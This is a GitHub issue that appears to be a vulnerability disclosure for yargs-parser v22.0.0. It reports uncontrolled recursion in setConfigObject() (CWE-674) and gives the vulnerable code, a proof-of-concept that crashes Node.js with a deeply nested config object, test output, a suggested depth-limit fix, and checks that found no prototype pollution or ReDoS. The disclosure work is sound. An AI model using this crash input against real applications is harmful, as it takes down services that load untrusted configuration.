-
Notifications
You must be signed in to change notification settings - Fork 122
Description
Summary
yargs-parser v22.0.0 setConfigObject() function (line 643 of build/lib/yargs-parser.js) recursively traverses nested objects passed via the configObjects option without any depth limit. An attacker-controlled deeply nested object (~2,500+ levels) causes a RangeError: Maximum call stack size exceeded, crashing the Node.js process.
Severity: Medium (DoS - process crash)
CWE: CWE-674 (Uncontrolled Recursion)
Root Cause
File: build/lib/yargs-parser.js, line 643-662
function setConfigObject(config, prev) {
Object.keys(config).forEach(function (key) {
const value = config[key];
const fullKey = prev ? prev + '.' + key : key;
if (typeof value === 'object' && value !== null && !Array.isArray(value)
&& configuration['dot-notation']) {
setConfigObject(value, fullKey); // UNBOUNDED RECURSION - no depth limit
}
else {
// ...
setArg(fullKey, value);
}
});
}PoC
const yargsParser = require('yargs-parser');
function buildDeep(depth) {
let obj = { leaf: 'value' };
for (let i = depth - 1; i >= 0; i--) {
obj = { [`l${i}`]: obj };
}
return obj;
}
// This crashes the Node.js process
yargsParser([], { configObjects: [buildDeep(5000)] });
// RangeError: Maximum call stack size exceededPoC Output
--- setConfigObject recursion test ---
Depth 100: OK
Depth 500: OK
Depth 1000: OK
Depth 2000: OK
Depth 2500: CRASH - RangeError: Maximum call stack size exceeded
Depth 5000: CRASH - RangeError: Maximum call stack size exceeded
Impact
Any application that passes user-controlled JSON to the configObjects option (e.g., configuration loaded from external sources, user-submitted config files) can be crashed. The configObjects option is used by yargs itself when processing configuration objects, so applications built on yargs that load untrusted config data are affected.
A ~2,500-level nested JSON object is approximately 30-40KB, making this a low-bandwidth DoS attack.
Suggested Fix
Add a depth counter parameter and enforce a maximum recursion depth (e.g., 100 levels):
function setConfigObject(config, prev, depth = 0) {
if (depth > 100) return; // prevent stack overflow
Object.keys(config).forEach(function (key) {
// ... existing code ...
if (typeof value === 'object' && ...) {
setConfigObject(value, fullKey, depth + 1);
}
});
}Verified NOT Vulnerable
- Prototype pollution via
__proto__: Properly blocked bysanitizeKey()(line 1035-1038) mapping__proto__to___proto___ - Prototype pollution via
constructor.prototype:argvcreated withObject.create(null)(line 167) - no prototype chain to pollute - ReDoS: All regex patterns are properly anchored, tested with 100k+ inputs - sub-millisecond
- Deep dot-notation via CLI:
setKey()uses iterativeforEachloop, not recursion - safe